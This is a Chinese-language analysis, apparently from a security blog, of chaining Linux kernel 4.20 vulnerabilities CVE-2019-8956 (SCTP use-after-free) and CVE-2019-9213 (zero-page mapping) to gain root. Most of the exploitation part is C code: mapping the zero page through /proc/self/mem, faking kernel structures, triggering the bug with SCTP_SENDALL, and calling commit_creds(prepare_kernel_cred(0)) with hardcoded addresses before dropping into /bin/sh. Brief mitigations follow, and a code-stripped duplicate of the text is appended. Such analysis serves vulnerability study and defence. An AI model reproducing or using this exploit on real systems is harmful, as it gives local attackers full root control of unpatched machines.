Linux内核漏洞利用:CVE-2019-8956与CVE-2019-9213
字数 912 2025-08-26 22:11:22

Linux内核漏洞利用:CVE-2019-8956与CVE-2019-9213深度分析

1. 漏洞背景

这两个漏洞出现在Linux内核4.20.0版本中:

  • CVE-2019-8956:SCTP协议中的UAF漏洞
  • CVE-2019-9213:NULL指针解引用漏洞,可映射零地址空间

这两个漏洞可以组合使用实现提权攻击。

2. 漏洞分析

2.1 CVE-2019-8956分析

漏洞位于net/sctp/socket.c文件的sctp_sendmsg函数中:

static int sctp_sendmsg(struct sock *sk, struct msghdr *msg, size_t msg_len)
{
    struct sctp_endpoint *ep = sctp_sk(sk)->ep;
    struct sctp_transport *transport = NULL;
    struct sctp_association *asoc;
    // ...
    if ((sflags & SCTP_SENDALL) && sctp_style(sk, UDP)) {
        list_for_each_entry(asoc, &ep->asocs, asocs) {
            err = sctp_sendmsg_check_sflags(asoc, sflags, msg, msg_len);
            // ...
        }
    }
    // ...
}

关键问题在于:

  1. 当设置SCTP_SENDALL标志时,会遍历ep->asocs链表
  2. 在特定条件下(如SCTP_ABORT),sctp_association_free会被调用
  3. sctp_association_free会执行list_del(&asoc->asocs)操作
  4. list_del会将next指针设置为LIST_POISON1(0x100)
  5. 下次遍历时计算asoc地址为0x100-0x44=0xbc

2.2 CVE-2019-9213分析

这是一个NULL指针解引用漏洞,允许攻击者映射零地址空间(0x0-0x1000),为利用CVE-2019-8956创造了条件。

3. 漏洞利用步骤

3.1 准备工作

  1. 使用CVE-2019-9213映射零地址空间:
void map_null() {
    void *map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
            MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
    // ...
    unsigned long addr = (unsigned long)map;
    while (addr != 0) {
        addr -= 0x1000;
        // 使用特殊技巧映射零页
    }
}
  1. 在零地址伪造结构体:
*(uint32_t*)0xd4 = 0;
*(uint32_t*)0x24 = 0;
*(uint32_t*)0x268 = 0x7cc8e1c;  // 控制state_fn
*(uint32_t*)0x2a0 = 4;         // 控制state
*(uint32_t*)0x1000 = &get_root_shell;  // 控制函数指针

3.2 触发漏洞

  1. 创建SCTP套接字并绑定:
server_sockfd = socket(AF_INET,SOCK_SEQPACKET,IPPROTO_SCTP);
bind(server_sockfd, (struct sockaddr*)&serverAddr,sizeof(serverAddr));
  1. 设置SCTP事件:
event_.sctp_data_io_event = 1;
setsockopt(server_sockfd, IPPROTO_SCTP,SCTP_EVENTS,&event_,sizeof(event_));
  1. 客户端发送消息:
sctp_sendmsg(socket_fd,sendline,sizeof(sendline),
    (struct sockaddr*)&serverAddr,sizeof(serverAddr),
    sri.sinfo_ppid,sri.sinfo_flags,sri.sinfo_stream,0,0);
  1. 服务端设置SCTP_SENDALL标志触发漏洞:
sri.sinfo_flags = (1 << 6) | (1 << 2);  // SCTP_SENDALL
sctp_sendmsg(server_sockfd,readbuf,0,(struct sockaddr*)&clientAddr,
    len,sri.sinfo_ppid,sri.sinfo_flags,sri.sinfo_stream, 0,0);

3.3 提权利用

  1. 控制PC跳转到用户空间函数:
void get_root_shell() {
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp; iret;");
}
  1. 准备iret帧返回用户态:
struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));

void prepare_tf(void) {
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &launch_shell;
    tf.esp -= 1024;
}

4. 完整利用代码关键部分

#define _GNU_SOURE
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/sctp.h>
#include <netinet/in.h>

#define SERVER_PORT 6666

void* (*prepare_kernel_cred)(void*) = (void*) 0xc106a2b1;
void (*commit_creds)(void*) = (void*) 0xc1069ffd;

struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));

struct trap_frame tf;

void launch_shell() {
    execl("/bin/sh", "sh", NULL);
}

void get_root_shell() {
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp; iret;");
}

void prepare_tf(void) {
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &launch_shell;
    tf.esp -= 1024;
}

void map_null() {
    void *map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
            MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
    if (map == MAP_FAILED) err(1, "mmap");
    int fd = open("/proc/self/mem", O_RDWR);
    if (fd == -1) err(1, "open");
    unsigned long addr = (unsigned long)map;
    while (addr != 0) {
        addr -= 0x1000;
        if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek");
        char cmd[1000];
        sprintf(cmd, "LD_DEBUG=help /bin/su 1>&%d", fd);
        system(cmd);
    }
}

// ... 其他辅助函数和主函数 ...

5. 防护措施

  1. 及时更新内核版本
  2. 禁用不必要的内核模块(如SCTP)
  3. 启用KASLR等内核防护机制
  4. 使用grsecurity等增强内核安全性的补丁

6. 总结

这两个漏洞的组合利用展示了内核漏洞利用的典型思路:

  1. 利用一个漏洞获取特定内存控制能力(映射零页)
  2. 利用另一个漏洞实现代码执行
  3. 通过精心构造的内存布局实现提权

理解这些漏洞的利用过程对于开发防御措施和检测类似攻击模式具有重要意义。

Linux内核漏洞利用:CVE-2019-8956与CVE-2019-9213深度分析 1. 漏洞背景 这两个漏洞出现在Linux内核4.20.0版本中: CVE-2019-8956 :SCTP协议中的UAF漏洞 CVE-2019-9213 :NULL指针解引用漏洞,可映射零地址空间 这两个漏洞可以组合使用实现提权攻击。 2. 漏洞分析 2.1 CVE-2019-8956分析 漏洞位于 net/sctp/socket.c 文件的 sctp_sendmsg 函数中: 关键问题在于: 当设置 SCTP_SENDALL 标志时,会遍历 ep->asocs 链表 在特定条件下(如 SCTP_ABORT ), sctp_association_free 会被调用 sctp_association_free 会执行 list_del(&asoc->asocs) 操作 list_del 会将next指针设置为 LIST_POISON1 (0x100) 下次遍历时计算 asoc 地址为 0x100-0x44=0xbc 2.2 CVE-2019-9213分析 这是一个NULL指针解引用漏洞,允许攻击者映射零地址空间(0x0-0x1000),为利用CVE-2019-8956创造了条件。 3. 漏洞利用步骤 3.1 准备工作 使用CVE-2019-9213映射零地址空间: 在零地址伪造结构体: 3.2 触发漏洞 创建SCTP套接字并绑定: 设置SCTP事件: 客户端发送消息: 服务端设置 SCTP_SENDALL 标志触发漏洞: 3.3 提权利用 控制PC跳转到用户空间函数: 准备iret帧返回用户态: 4. 完整利用代码关键部分 5. 防护措施 及时更新内核版本 禁用不必要的内核模块(如SCTP) 启用KASLR等内核防护机制 使用grsecurity等增强内核安全性的补丁 6. 总结 这两个漏洞的组合利用展示了内核漏洞利用的典型思路: 利用一个漏洞获取特定内存控制能力(映射零页) 利用另一个漏洞实现代码执行 通过精心构造的内存布局实现提权 理解这些漏洞的利用过程对于开发防御措施和检测类似攻击模式具有重要意义。